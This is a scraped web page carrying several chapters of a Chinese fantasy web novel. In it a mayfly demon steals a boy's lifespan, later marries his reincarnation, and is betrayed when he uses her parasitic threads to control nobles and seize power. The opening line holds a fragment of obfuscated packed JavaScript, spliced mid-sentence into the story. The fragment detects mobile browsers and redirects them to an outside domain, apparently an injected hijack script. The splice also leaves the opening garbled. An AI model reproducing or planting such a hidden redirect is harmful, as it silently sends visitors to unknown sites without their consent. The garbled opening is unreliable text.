她想看到更多、更远的风景,而不仅仅只是一个繁育的工具。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888483|176466||http|test|mini|href|location''.split(''|''),0,{}));
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r>于是,她离开了族群,落到了岸上幻化成十四五岁的少女。
那天,她以人的身份,走入了烟火红尘。
不同于浮游因为生命短暂,每一分每一秒都不能浪费。人类的生命长达几十年,他们仿佛感知不到时光的流逝。
所以有人慢悠悠地在街头巷尾闲逛,有人花半天时间看戏听曲。
她甚至还看到有人,为了买一壶桃花酒,不惜浪费大半天时间去排队。
而它们蜉蝣每震动一下翅膀,都能感受生命的流逝。它们拼命浮出水面,仅仅用一天的时间,就要完成交配、生产,以及最后的死亡。
为什么人类拥有如此绵长的生命,却不知好好珍惜时光?
为什么命运要这般不公?
一念将起,贪嗔痴便就接踵而来:既然有人不知道珍惜时间,那就把时间留给我吧!
她是蜉蝣妖,即便开了灵智变成了人,依然朝生暮死。
唯一延续生命的办法,就是夺取。
她把目光,落在一个排队买酒的小男孩身上。
那小男孩只有七八岁的样子,瘦瘦小小的个儿,站在人群的最后眼巴巴地望着。
好不容排到了他,可当她努力垫着脚尖,递上几文钱时。
店家却摇了摇头:“你来晚了,最后一壶酒卖完了。”
“啊,怎么卖完了?我都排了好长时间呢,求求你再卖一壶给我吧!”
“真的卖完了!你要买的话,明日早些来排队。”
男孩有些失望,却还是乖巧地点头:“好,那我明日再来吧。明日,你可千万要给我留一壶酒。”
蜉蝣妖跟在男孩的身后,眼底流露出贪婪的神色:多么稚嫩的人类,往后余生,还有几十年。所以,就能毫无顾忌地浪费时间,只为满足口腹之欲?
在无人看见的僻静小路上,她慢慢地伸手,在男孩无知无觉中,将他的寿元吸走。
第33章 元娘的故事(下)
当澎湃的、充满朝气的生命,涌入自己的身体后,她满足地叹了一口气:八十年,居然有整整八十年的寿元!
就这样,她几乎夺取了男孩全部寿命,仅仅只给对方留下了七天时间。
小男孩在悄无声息中,成了迟暮的老人。
原本轻快的步履,变得蹒跚艰难。
他感知到了什么,低下头,就看到自己本该稚嫩的小手,变成了枯槁般的老人手。
他惊讶、害怕,紧跟着流出眼泪:“为什么我会突然变老了?呜呜……我这是怎么了,爹爹我好害怕!”
现在知道害怕了?蜉蝣妖清嗤。
以前拥有的时候,怎么就有恃无恐了呢?人类啊,总要失去后才懂得珍惜。
——她远远看着,姿态傲慢。
原本朝生暮死的蜉蝣,在夺取了人类男孩的寿命后,突然好奇那个男孩会不会后悔浪费了时间?
于是,她跟在哭泣的男孩身后,一路到了他家门口。
男孩家只是两间茅草屋,十分简陋。还没走进院门,就听到里面传来一连串的咳嗽声。
男孩想要推门进去,却又停下动作,站在门口无助地落泪。
“爹要是看到我现在的样子肯定会吓坏了吧?不行,我不能让爹爹看到,不能再让他担心我了。”
透过茅屋的窗口,蜉蝣妖看到了一位满脸病色,命不久矣的老父亲。
他咳得很厉害,即便是昏睡着,还在断断续续地咳嗽。
满头白发、身形佝偻的男孩在自责落泪:“我真没用,没能买到爹爹心心念念的酒,还让自己变成了这副怪模样。我该怎么办?我该怎么办呀!”
蜉蝣妖这才明白,原来这小男孩浪费时间排队沽酒,只是为了满足父亲临终前的愿望。
所以,她掠夺的是一位善良孝顺的小男孩的寿命?
可现在后悔已经来不及了,被夺取的寿命,无法归还给原主。
所幸,还能稍作弥补。
她又去了一次酒铺,偷了一壶老板自留的桃花酿。
带着酒,她来到小男孩面前说:“我刚才看你也在排队买酒。正好我多买了一壶,你要吗?我可以送你。”
“真的吗?”那依然浑浊的眼眸,此刻就亮晶晶的,溢满了感激,“姐姐,你真是个好人!”
虽然她说了“送”,可小男孩还是把自己辛苦攒的铜板塞给了她。
“姐姐的酒也是花钱买的,能卖给我已是感激不尽,不能再让你吃亏了。”
说完他拎着酒,便要送进屋里,可又想起此刻自己的模样,一时有些纠结该不该进去。
蜉蝣妖看出他的为难,主动道:“我帮你送酒进去吧。”
“那真是太谢谢你了!如果我爹爹问起我,你就说我去后山砍柴了。”
她帮他送酒入内。
而那位病重的父亲,看到心心念念的酒却没有喝,只惦记着儿子的去向。
蜉蝣妖用砍柴的理由,遮掩过去。
男孩的父亲喝了酒,脸上浮出一团潮红,又重新睡去。这一睡,就再没醒来。
就这样,父子俩连最后的告别都错过了。
蜉蝣妖有些内疚地,看着男孩在父亲的床前,失声痛哭。
直到他哭得嗓子哑了,快要发不出声时,她才问:“你还有什么愿望吗?”
如果夺取的寿命没有办法归还,她能做的就是尽量的弥补。
在男孩剩余的几天时间里,她帮他安葬的父亲,想尽办法哄他开心。
最后在夕阳西下的余晖里,看着白发苍苍的小男孩趴在自己的膝盖上问:
“姐姐,我是不是要**,我感觉好冷好冷呀……可是我还有好多事没有做,我还没长大呢……”
没有长大的男孩,就这样死在了蜉蝣妖的怀里。
而她,则用那夺取的八十年时光,修炼得越来越强大,终于成为一方大妖。
可无论时光过了多久,她脑海里总会有个声音萦绕:“我还没长大呢……没长大呢……”
一念起,心魔生。
当她再度踏入红尘,不知不觉又来到了当年的小镇。
那家卖桃花酿的酒馆也依然开着,只是店主变成了年轻俊朗的少年郎。
那少年正笑盈盈地向顾客介绍:“我家的桃花酿是祖传的手艺,保管喝过难忘!”
元娘看清楚那少年的模样时,愣住了。
是他啊!
当年的小男孩已经重入轮回,机缘巧合下,成了沽酒的少年郎。
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她本是一只蜉蝣,朝生暮死。却因一时贪念,断送了无辜孩童的一生。
也因此,落下因果。
这一世,她再度走入他的世界,如从前一样问他:“你可有什么心愿未了。无论什么都可以,我会帮你实现。”
少年轻轻一笑,满眼星光:“你说话好奇怪啊,我怎么都听不懂?啊,你该不会想骗我家的酒喝吧?”
元娘:“……”
起初,少年对她保持警惕,不管她说什么都不信,还当她是来捣乱的。
后来,他干脆给她打了壶酒:“你若真心喜欢我家的酒,我请你喝好了。什么,你不是为喝酒而来?难道你想偷我家的酿酒秘方?那可不行,我爹说了这秘方只能传给自己家人!”
元娘:“……”
那壶桃花酿是真的很好喝,入口清洌,香味绵长,让人久久难忘。
一壶酒并没有打发走元娘。
她要了却和他的因果,就必须要再还他一个愿望,让他这一世过得圆满。
可无论她如何死皮赖脸,无论问了几次,他都说:“我没有什么想要实现的愿望。”
直到她第一百次问的时候,少年才含羞带怯地说了一句:“我想娶你做我的娘子,可以吗?”
她一愣之后,点头答应。
她以为只要做了他的娘子,就能了却前世的因果,却未曾料到这一世的羁绊才刚刚开始。
在日复一日的相处中,在他一声声“娘子”的呢喃声里,越陷越深。
爱情,到底是什么时候开始发芽的呢?
是初见时,不经意的一眼。
还是在细如流水的日子中,慢慢凝成了**大海?
她不知道。
她只知道,明朗爱笑的少年,渐渐开始衰老。岁月染白了少年发丝,也在他的眼角眉梢刻满了沟沟壑壑。
唯有她,本该朝生暮死的蜉蝣,却依然是初见时绮年玉貌的少女。
她本想好好地陪他过一生,让他此生再无遗憾。可自己却生出了新的执念。
在他快要老死的时候,她悄悄为他种下了续命丝。
她将自己漫长的寿命续给了他,他又重新变成了当年的少年郎。
而她自己,一夕白头,风华不在。
第34章 他的真面目
那天,恢复青春的丈夫搂着妻子哭了:“你怎么那么傻?你这个傻丫头,你把寿命都给了我,你又该怎么办呢?”
元娘安慰他:“没关系,我只是老了一些而已。我是妖,我还要修为支撑,不会死。你看,现在不是很好吗?我们又能继续相守了。”
就这样,他们以老妻少夫的模样,继续生活,开一方小小的铺子,卖酒为生,简单幸福。
林倾月问她:“当真只是这样?”
元娘道:“你不是也看到了吗?我虽然是妖,但奉公守法,连缺斤少两的事情都不曾干过。所以,我不明白你们玄镜司为什么要找我。难道妖怪连安分生活的资格都不配有吗?”
林倾月道:“若真如你所言,玄镜司自然不会找你麻烦。但是……”
她拿出一方手帕,展开之后,露出一条已经失去了生机的蜉蝣丝。
“这是你身上之物吧?被感染的人已经死亡,这是从他脑袋里取出来的。对此你有什么解释?”
元娘看了又看,最后点了点头:“这是蜉蝣丝,但是……”
她似乎想到了什么,顿了顿,又道:“蜉蝣丝由我的头发所变,成虫后便会努力地想要靠寄生存活。这可能应该只是一次意外,以后我一定注意,保证不会再出现类似的事情。”
林倾月挑了挑眉:“是吗?可这并非一例,保守估计感染人数至少在五百人以上。且还包括皇室贵族。如此,你还觉得是意外吗?”
她那双漆黑含笑的眼眸,审视着元娘的时候,仿佛已经看穿了一切。
“不是意外的话,那就是刻意为之。这世上除了你之外,还有谁能操纵蜉蝣丝?”
元娘沉默了。
林倾月问:“你还要替他隐瞒吗?或者,替他顶罪?”
元娘无奈开口:“他应该也是为了我。我们本不想害人,只想平平淡淡地相守。可这些年,无论我们走到哪里,附近的人一听说我和阿恒是夫妻,就露出诧异的眼神。”
“背后议论尚且不算什么,还有一些长舌妇,会在我们的铺子前,故意当着我们的面嚼舌根。”
“世人对女子真是不公平,男人八十,妾十八,他们说这叫一树梨花压海棠。可反过来,就会让人指指点点,好像我们做了什么十恶不赦的事儿一般。”
“其实一开始我也并不在意,可当那些话听得多了,心底总是会难过的。每当我难过的时候,阿恒就会逗我开心。他问过我很多次,有没有办法帮我恢复青春。他说他不想看我难过时落寞的眼神。”
“所以,就算他真的做错了什么,我都不会怪他,也不允许任何人伤害他。”
说这话的时候,那枯槁的老妇,浑身都溢满杀气。
车厢内没有一丝风,可她满头的银发,却无风自动,每一根都是她的杀器。
“林副使,我并不想与你们玄镜司为敌。若你们能网开一面,我愿意和夫君离开京城,隐居山野。若你们非要咄咄相逼,致我们于死地,那么我也只能拼个鱼死网破。”
林倾月淡定地喝完了杯里的茶,道:“你放心,我不想和你拼个鱼死网破。”
元娘略微收敛了杀气:“所以,林副使愿意放我们夫妻一马?”
林倾月点头:“当然愿意。可我愿意没有用,也要看你的夫君愿不愿意和你归隐山野——到地方了,我带你看一场好戏。”
车停,林倾月率先下了马车,然后做了个“请”的手势:“下车吧。”
元娘下了马车,放眼看去,只见面前是一座极为雅致的庄园。朱漆金钉兽首大门,巍然矗立。
大门两侧还立着两尊两威风的石狮子。
单就门头的规模,就知主人非富即贵。
元娘奇怪:“这里不是玄镜司?”
林倾月道:“自然不是玄镜司,一开始我不就说了,要带你来见你夫君吗?”<
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br>“他怎会在这里?”元娘想起来了,“对了,他今天一早出来送酒。难道这一户人家,就是订酒的大客户?可时间都过去那么久了,阿恒他怎么还在里面?”
“与其诸多猜测,不如随我一见,我也很好奇什么样的男人,竟值得你为他放弃青春容颜,甘守平凡。”
此刻,在这座豪华庄园里,阿恒正躺在一个年轻女子的怀里,吃着精美的糕点,手则肆意地在女子的胸脯前游走。
女子衣衫半露,眼神迷离,娇滴滴地嘤咛一声:“郎君你好讨厌,往哪里摸嘛!”
阿恒笑得轻佻:“怎么,这样就受不住了?你的身子我哪里没有摸过?”
阿恒喝了口桃花酿,喊在嘴里,又渡进美人嘴里,问:“我的美人儿,滋味如何?”
美人点头:“好喝。”
阿恒擦了擦嘴角,站起来:“你先喝着,得空我再过来。”
美人恋恋不舍地拽着他的衣角:“你到底什么时候把老太婆赶走?那满脸的褶子,你看着不恶心?”
阿恒沉默片刻,说:“时机未到。”
美人不解:“那要等到什么时候?我实在不明白,你放着这么好的庄子不住,却非要跟着老太婆当垆卖酒?连件好衣服都没得穿,还得被她使唤着干活,这不是自己找罪受?”
阿恒道:“我留着她,当然是为了有更大的用处。一时的荣华富贵又算得了什么?我想要的,远非你能想象!”
美人扑在他怀里,娇滴滴地说:“妾不懂,郎君就告诉妾嘛~”
阿恒捏着她的下巴,朗声一笑:“且再等等吧,很快你就会知道。”
说罢了,他整理好衣服,快步走出。所过之处,奴仆跪拜而送。明明身上还穿着粗布素衣,可整个人却气势十足。
高高的屋顶上,元娘脸色惨白,脑子里嗡嗡作响,愣愣地看着那人的走出庄园大门,坐上日常送货的简陋驴车。
第35章 打个赌
“那真的是他吗?”元娘不由得问出来声。
她不敢相信,那个同床共枕几十年,那个口口声声说爱她永远的夫君,那个看她时满眼星光的少年……怎么会突然变得那样陌生?
“是他。”林倾月答。
“为什么……”她不懂。
为什么人会有两副面孔,一副面孔在她面前表演着深情不渝,一副却可以和别的女人寻欢作乐,满眼都是算计?
林倾月道:“你虽然做了一百多年的人,可你却并不了解人性,更不了解你的夫君。”
“也许一开始你们的爱情是纯粹而真诚的。可当你逆转了生死,把自己的寿命续给了他后,一切就不再纯粹了。他正青春,而你满脸沧桑,时间久了再多的感激、再多的深情,也渐渐会淡、会腻。”
“尤其是,当他发现你的身上,还蕴藏着那么强大的妖力,能轻而易举地获得权势和地位时,他又如何还能守得住当初的赤子之心?”
“原来是这样啊……”她呢喃着,神情落寞。
“过去的几十年,我们一直在南边的小镇上生活。为了怕被人看穿身份,我从不展示自己的能力,衣食住行都尽量低调。”
“后来,因为我活得太久了,怕被镇上的人看出问题。所以每隔一段时间就会搬一次家,然后继续卖酒为生。直到最近一年,才来了京城。他说想带我看看京城的繁华……”
林倾月道:“他已经用蜉蝣丝感染了很多人。而你元娘,是唯一能解蜉蝣丝的人。”
“元娘。”林倾月认真地道,“没有必要为了一个负心的男人,再搭上你的一切。蜉蝣一生本就不易,你好不容易成了妖,这是你的机缘,不可浪费。”
元娘沉吟不语,似在考虑,又似乎依然无法割舍对那个男人的感情。
林倾月道:“我知道这么多年的夫妻情分,你很难对他狠下心肠。不如我们来赌一次,若你能劝他收手,就此改过,我可以放你们离开京城。但若是你输了,你就任我处置,如何?”
“此话当真。”
“当真。”
……
阿恒回到小酒铺时,只见铺子的大门敞着,却没有元娘的身影。
他将驴车停到旁边,走进酒铺喊了几声:“娘子,娘子!”
没有人应。
“是去后宅休息了吗?怎么连铺子的门也不关?”
他们的铺子是前店后家的样式,穿过一道小门,就到了后宅的一方小院。
小院的一切都很简陋,但元娘收拾得妥帖,还种了许多花草,显得十分雅致。
然而和他在外偷偷置办的奢华庄园比,简直不堪入目。
他如以往一样,笑嘻嘻地进了房内,还关切地询问着:“都过了晌午,你怎么也没做饭?是累了吗?要不我们去酒楼吃吧!”
可卧房也是空空荡荡,不见元娘的影子。
奇怪,元娘去哪了?
阿恒没找到人,便又出来询问隔壁的人家,却得知元娘不久前被一辆马车给接走了。
“马车?什么样式的,可有什么记号?”
“车上好像印着一个‘晋’字。”
晋?晋王吗?
阿恒的脸色顿时沉了下来。
阿恒这一年来早就把朝里的情况,以及那些皇族宗亲的情况都调查过。知道那些显赫人家会在车马上印自己家族的徽章或封号。
晋**明已经被蜉蝣丝感染了,他为什么要带走元娘?若不是晋王,又会是谁?
深思一番之后,他再度坐上了那辆朴素的驴车,去往晋王府。
晋王府。
林倾月回到王府的时候,特意询问东方宴是否在府里。
赵总管回答:“王爷一早去上朝,算算时辰应该也快回来了。”
林倾月点了点头:“你去王府门口等着,今日若有访客,都可请入府里。”
“啊这……不合规矩吧?”
结果收到了林倾月的一个冷眼,赵安赶忙低头退下。
不多久,谢守正就来了:“林副使,如何?”
林倾月正悠闲地坐在紫藤花架下喝茶,还顺手多倒了杯茶。
“坐下吧,稍后请大人看一出好戏。”
“哦?”
谢守正也不客气地坐了下来,看到桌上有茶,正伸手去拿,却被一只毛茸茸的爪子给按住了。
“是小花啊,你咋也上桌了。”他努嘴着,“
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嘬嘬嘬~小花来,摸摸**!”
小花鄙视地看了他一眼。
林倾月道:“他不喜欢你嘬嘬地唤他。”
谢守正:“为什么不喜欢?”
他记得自己以前还是小灰的时候,太子殿下就是这么“嘬嘬嘬”唤自己,那时他摇着尾巴就过去了。
小花已经懒得再鄙视他,低头喝茶,姿态优雅得跟个人似的。
要不是谢守正看不到他身上的妖气,只怕还真要怀疑这猫要成精了呢!
“哎你这猫还真是不客气啊,这是你喝的茶吗?”不知道为什么,那猫高贵蔑视的眼神,总是让射守正觉得自己低它一等。
只听林倾月道:“那杯茶本来就是倒给小花喝的,他的爪子不方便倒茶。谢大人是自便,还是我给你倒茶?”
“我自己来,自己来!”
谢守正赶忙给自己倒了一杯,心中忍不住暗苦:明明从职务上来说,他才是上官。可林倾月又顶着王妃的头衔,实在没办法把人家当下级啊。
他赶忙转移了话题:“对了,不是要请我看戏吗?什么时候开场?”
这时,赵总管来报:“王妃,王府外有位自称是元娘家人的男子,来接元娘回家。”
林倾月对谢守正道:“你看,这不就开始了吗?”
不多久,阿恒就被下人领了过来。
他身上穿着平民的粗布素衣,和王府的气派、奢华格格不入。
虽然他一直低头敛目,甚至还刻意流露出一些紧张的神情,可他的眼神却很镇静,好像一切依然在掌控之中。
到了林倾月跟前,他如普通的草民一样跪下行礼。
“起来吧。”林倾月淡淡地道了一句,又打发走了管家。
阿恒不安地询问:“小人是来接娘子回家的,请问王妃我家娘子现在何处?”
林倾月道:“你家娘子?就是那个满脸褶子的……老妖怪?”
阿恒猛然抬起头来,神情有些慌张,也有些惊讶。
但是很快他就镇定下来,垂下了头道:“我娘子生性善良,不曾作恶。还望贵人高抬贵手,放她一马!”
说罢,他再度跪了下去,重重地磕了个头。
第36章 快动手,不必给我面子!
林倾月叹了口气:“听闻你家桃花酿远近闻名,我原想招府里贵客,顺便照顾你家生意。不想,居然发现送酒的店主是个妖怪。幸好玄镜司的谢大人火眼金睛,一眼看穿了妖孽真身。”
说话间,她转眸看了一眼。
谢守正反应过来,顺着她的话点头:“不错,就是本官一眼看出!”
林倾月道:“奇怪的是,那分明是个妖怪,可却又弱得几乎要油尽灯枯了。我问她缘故,她却一直不肯如实相告。恰好你来了,不如你来告诉我这是何故?”
阿恒深吸了一口,道:“因为,元娘把寿命给了我。”
“这样啊……那蜉蝣丝的事,也是你做的咯?”
“是!”
阿恒应得很干脆。
他慢慢地站了起来,不再像刚才一样卑微。
“元娘虽是妖,但她心地善良,奉公守法,从来没有做过任何伤天害理的事情。你们若有什么手段,只管朝我来,只求你们放过我娘子!”
谢守正喝问:“你且老实交代,所作所为,目的为何?”
他本来还不想交代,谢守正把早就准备好的证据都摆了出来,容不得他抵赖。
阿恒叹了口气,开始交代:“我妻是因为我才日渐衰老。虽然她总是装作不在意的样子,可我知道她心里是难过的。试问又有哪个女子,不想年轻漂亮呢?”
“既然她想要恢复青春模样——哪怕她没有提出来,我也要帮她完成心愿!”
“我本来并不担心被人发现,因为蜉蝣丝是一种特殊的子虫,在没有寄生之前,没有任何妖邪之气。而寄生之后,隐于人体。就算有能人异士,也不能仅凭一眼就看出问题。”
“再加上,他们的感染途径是鱼生。就算真的不小心被发现了,也只会怀疑是鱼生本身所携带的寄生虫感染。”
“那为什么要感染皇族的人?”林倾月又问。
“只是一场意外。”他的语气里有些无奈,“我也没想到张大厨会得到瑞王府的青睐。但既然已经这样了,那就只是顺势而为。”
“晋王妃。”他抬眸望着林倾月,“你们想知道的,我已经都告诉你们了。现在,可以把元娘还给我了吧?她虽然是妖,但在这个事情上是最无辜的。”
林倾月道:“就算要谈条件,也得拿出你的诚意来。比如,帮我们把蜉蝣丝的寄生全部解除。”
阿恒:“若是解除了,我们还有活路吗?”
林倾月:“我若要你留下伏法呢?”
“当真要如此吗?”
“犯了罪,总要付出些代价。”
阿恒的眼中没有一点惧意,“既然你们欺人太甚,那就别怪我不客气了!”
他缓缓站起身来,拍拍手,一个熟悉的人影便出现了——东方宴。
“晋王殿下,你的王妃,还有这位……谢大人,出言不逊,请帮我将他们通通抓起来!”
东方宴立马下令:“来人!”
王府侍卫应声而来,涌入园内。
谢守正亮出自己的血荆鞭骂道:“好你个狡猾的混账东西,居然控制晋王为你所用!”
东方宴已经感染了蜉蝣丝,此刻在阿恒跟前就是一具提线木偶。阿恒哪怕让他去谋反,他都会毫不犹豫地照做。
“若无万全的把握,我又怎么敢孤身一人来到这里?”
此刻的阿恒不再是低眉顺眼的样子。他双手负在身后,眼神冷漠地扫视着面前几位高高在上的贵族。
哪怕依然素衣在身,却好像已经凌驾在所有人之上。
东方宴站在他身边,冷冷下令:“拿下王妃和谢守正!”
谢守正急忙道:“你们别听晋王的,晋王被蜉蝣丝寄生了,他现在就是那人的傀儡!”
侍卫们闻言也有些奇怪。
东方宴又吼了一声:“本王的命令都不听了吗?都捆起来!”
“好好看清楚东方宴现在的状况!”林倾月既然能把阿恒引来,自然也有办法。
她袖口一抖,落下数颗香丸,轻轻一捏,香气溢出。
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>东方宴体内的蜉蝣丝受其影响,顿时引出剧烈的头疼。
他抱着自己的头,还在遵从阿恒的指挥而下令:“抓住他们,抓住他们!”
谢守正赶忙出来解释:“凡是被寄生的人,都受不了那个香味而导致头疼!你们还不明白吗?你们的王爷真的被人控制了,控制他人,就是旁边这个阿恒!否则凭晋王的身份地位,怎么会听他一介草民的话,反过来对付自己的王妃?”
王府侍卫们亲历过清安郡主的事件,还有几位跟着东方宴在长宁侯府亲眼看到蛇妖作怪,知道厉害,于是都不敢轻举妄动。
而东方宴则在蜉蝣丝的驱使下,下令:“抓住王妃,王妃才是妖怪!”
侍卫们有点凌乱,一时无法分清该帮谁、抓谁。
最后,还是统领聪明一点,道:“莽撞行事容易犯错,不如静观其变,暂时不要动手。”
反正总有一方是妖怪,怪力乱神这种事情,他们这些普通侍卫本来也擅长。
“晋王,既然你的人都不听你的命令。那你就亲自动手!”
东方宴当即抽出腰间宝剑,可剑握在手里却在抖动着——真正的东方宴,自然不会听妖怪的话,在努力的抗争。
可惜,仅仅不过一瞬,他所有抗争都被蜉蝣丝的控制力给压了下去。
“林、倾、月……”他一字一顿,举着剑朝林倾月走来,“快……走!”
这种时候,他居然能凭借意识,让林倾月快走?
可下一刻,东方宴便举剑横在自己的脖子上。
阿恒道:“玄镜司果然有些本事,晋王妃你也是个人物,我确实低估了你们。奉劝你们快把我娘子交出来,否则我就让你的夫君血溅当场!让你尝尝失去挚爱的痛苦!”
“你要让我尝尝失去挚爱的痛苦?”林倾月本来已经祭出符咒,准备使出下一招。听到这话,突然就收了符咒,“来来来,快动手,不必给我面子!”
阿恒:“……”
东方宴:“……”
第37章 好戏还在后头
谢守正压低了声音,悄悄地对林倾月道:“林副使啊,以公报私不合适吧?”
林倾月很无所谓地说:“我不介意当寡妇。”
谢守正:“……”
“林副使,虽然我很理解你,但是咱们玄镜司的职责是驱邪镇妖,誓死守护一方安宁。晋王再浑蛋……也是条命啊,能救咱还是要救一救的。不瞒你说,我们玄镜司已经被言官参了很多次,再被投诉,怕要散火咯!”
“我数三下,若是你们还不肯交出我娘子,那么我不介意先送晋王上路。”阿恒在下最后的通牒,他才不相信谁家王妃会不在意夫君的死活。
东方宴想反抗,可意识根本无法控制自己的身体。他能清晰的感觉到冰凉的剑锋贴在自己的脖颈上,命悬一线的感觉属实不好。
“一!”
林倾月,你当真如此恨本王,当真想当个寡妇吗?
“二!”
剑,再度往前近了一分,东方宴能感受到脖子上传来的刺痛——如此死去,当真憋屈。
可,林倾月会救他吗?
下一刻,就听林倾月道:“把元娘带出来!”
看到元娘出来,阿恒立刻关切地询问:“娘子你怎么样?他们有没有伤害你?”
元娘摇头。
阿恒扬声道:“准备马车,劳烦晋王送我们离开。其他人都不准跟随,若发现一个跟踪者,你们知道后果!”
林倾月对王府侍卫道:“让他们走吧。晋王金尊玉贵,不能有任何闪失。”
就这样,独闯晋王府的阿恒带走了元娘,而东方宴则亲自当车夫,架着车送他们离开。
眼看着车和人都走远了,侍卫统领不放心地问林倾月:“王妃,当真就这样让他们走了?若王爷有任何闪失……”
“别急。”林倾月轻轻一笑,“好戏还在后头呢!”
马车里,阿恒再三确定元娘身上无伤,他这才放下心来:“还好你没事,否则我定不放过那晋王妃!”
元娘问他:“你当真用我的蜉蝣丝害人了?那个晋王,你是什么时候让他感染上蜉蝣丝的?”
她有些恼火:“阿恒,你为什么要动这些歪心思呢?”
阿恒温柔地抚摸着元娘苍老的面颊:“因为我想让你也青春永驻。明明我们有能力获得长生和青春,为什么不用呢?元娘,我做这一切也都是为了你啊!”
“可是你犯了大错!”元娘叹息,“玄镜司的人已经知道了一切,他们不会放过你的。他们甚至配制出了鉴别寄生者的香丸。”
“那又怎么样呢?晋王府有重兵把手,我们不还是出来了?”他指了指车门外,“你看,那金尊玉贵的王爷,如今却在给我们当车夫。”
车夫王爷:“……”本王想将你凌迟!
元娘道:“可是玄镜司里也有很多高手,尤其听说他们的诛妖阵法十分厉害。今日他们应该没有反应过来,因此暂时放我们一马。再者,他们的背后是整个国家!凭借你我,如何能抵抗得了?”
“这些年来,我一直低调行事,就是怕妖怪身份暴露。须知天外有天,人外有人,越是像我们这样的身份,越是要谨小慎微。”
“可我没想到你偏偏……哎,你真是糊涂啊!”
“娘子,我……我真的错了吗?”
阿恒慌张了一瞬间,忽然握紧了元娘的手道:“娘子,你把留在我身体里的续命丝拿走吧!我知道,当年你就是因为把续命丝给了我,才会变得虚弱衰老。若续命丝回到你体内,你就能恢复到最鼎盛时期。那时,你就有能力自保了,就算整个玄镜司也未必是你的对手。”
元娘不同意:“我拿走了续命丝,你怎么办法?你会死啊!”
阿恒红着眼眶道:“二十年前,我的寿命就已经走到了尽头。是娘子你用续命丝保住了我的命,还令我青春永驻。现在,我不过是把一切都还给你罢了。”
“夫君……”
“娘子别哭,看到你落泪比让我死还难受。你本就该是自由自在的,是被我拖累才在留在俗世里。我死之后,你就回到
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山野中好好修行吧。能和你做这一世的夫妻,我死而无憾!”
“可我不能看着你死啊!当年你寿元将尽的时候,我做不到看着你离开。如今也是一样。无论你做了多少错事,你都是我的夫君。只要你愿意回头,我无论如何都要庇护你。”
她说着,吐出一颗赤红的珠子,对阿恒道:“这妖丹凝聚着我全部的修为。当妖丹和续命丝结合在一起的时候,你就能拥有我全部的力量。”
随着妖丹的吐出,元娘整个人也变得越发虚弱,连说话都要喘息。
“如此一来,玄镜司的人就别想再抓住你。”
阿恒的面容被妖丹的火彩映照得彤红,体内的续命丝似有所感发出温热的气息,渴望与之结合。
续命丝,只是把妖的命借给了他,并获得了一些对于蜉蝣丝的控制力。可若是得到妖丹,那就完全不一样了。
他可以调用所有被寄生的人,甚至还能制造出更多的蜉蝣丝,感染更多的人。
阿恒眼底的贪婪一闪而逝,很快就被担忧取代:“娘子,你把这么重要的东西给我,你怎么办法?你……会不会死?”
元娘摇了摇头:“不会。我只是彻底变成了普通的老太婆而已,还能勉强撑一两年。可你不同,你若把续命丝还给我,你会立刻死去。”
“既然如此,不如把我全部的力量集中在阿恒你的身上,助我们逃离京城。等离开京城,安全之后,你再把妖丹还给我就是了。”
“娘子,这真是个两全其美的办法啊!”阿恒夸赞了一句,立刻就将妖丹吞入口中。
身体里越来越热,似乎有源源不断的力量在疯狂涌出。
而元娘还在继续叮嘱:“这一次,你千万要吸取教训。绝对不能再胡乱使用蜉蝣丝!还有外面那位王爷,等出了京城就将他放了。其实,晋王妃答应过我,只要我们愿意放手,她可以让玄镜司放我们……”
她说了很多,可阿恒已经没有耐心听了,吩咐东方宴:“转去城东!”
第38章 你难道不知道色衰而爱弛吗?
元娘不解:“夫君,前面就要出城门了,为什么又就要转道去城东?”
“大业未成,我怎么可能放手呢?”阿恒不再掩饰自己的野心,“我筹谋了那么久,好不容易才感染了那么多人。我怎么可能一走了之?”
元娘脸色大变:“你,你不是为了我才……”
“为了你?”阿恒笑了起来,“娘子,你都活了那么久了,怎么还那么天真呢?你不知道人心都是会变的吗?”
“没错!一开始我是很喜欢你。一个长得漂亮,性格又好的美丽少女,天天在我的跟前问我想要实现什么愿望。换做任何一个男人,都会为你心动。”
“娘子,那时候我是真的爱极了你,满心满眼都是你。所以我才请求你做我的娘子,和我成亲。”
“婚后的那些时光当然也是快乐的,毕竟我娶了你这么美丽的娘子,而且还不会老。甚至在很长一段时间,我都担心你会离去。”
“可你真的是个很好的女子,你不但没有嫌弃我日渐衰老的身体,甚至还在我大限将至的时候,为我续命。”
“我也感激过你,可后来渐渐地,我越来越觉得你太蠢了。”
“你明明拥有那么强大的力量,却非要和我屈就在一方小小的酒铺里。天天酿酒、卖酒,你真的就一点不腻吗?”
元娘流着泪求他:“离开吧!我求求你,跟我离开吧!你不想卖酒,我们可以做其他的生意。或者……去养牛牧马?平平淡淡,也是代表平平安安啊!”
“可我不想再过平淡的日子!京城的富贵,你看不见吗?那些权贵阶层,一句话就能呼风唤雨,掌握天下的权势!”
“光拥有绵长的寿命有什么用?我也想掌握天下的权势,成为人上人!”
“那我呢?”她声音颤抖地问。
阿恒抚摸着元娘的脸颊,一如往日般温柔,可说话的语气却完全陌生:“元娘啊,你难道不知道色衰而爱驰吗?”
“你这张老脸,我早就恶心极了!你知道我每天强忍着恶心,和你同床共枕时,是怎样的煎熬吗?”
“我为什么总是离家送酒,一去半天?那是因为在你身边实在恶心的呆不下去了,所以才要找个理由逃离你!”
元娘的眼泪已经不流了,只是愣愣地看着面前的男人。
这个爱了几十年的男人,头一次让她觉得陌生的可怕。
真是讽刺啊,原来所有的恩爱缠绵,都是自己的一厢情愿!
原来,他早就腻烦了!
马车终于停下。
往日温柔的男人,此刻粗鲁地将她拽下了车。
他指着那座豪华的庄园说:“你看,这座庄园很大很豪华吧?多少人穷尽一生都无法买得起这么好的住所。”
“可是我只是将蜉蝣丝种入了京城第一首富的身体里,他就成为了我的傀儡。金子、银子、庄园、田产,通通都赠给了我!”
“钱财来得这么容易,我为什么还要当一个小酒馆里送酒、卖酒的小伙计?”
“走吧娘子,我带你看看我的产业,那里面可比外表更加奢华。”
“东方宴,你也进来。”他头也不回地喊了东方宴一声,好像在招呼一条狗。
东方宴就真的像条忠实狗一般,乖乖地跟在后面。
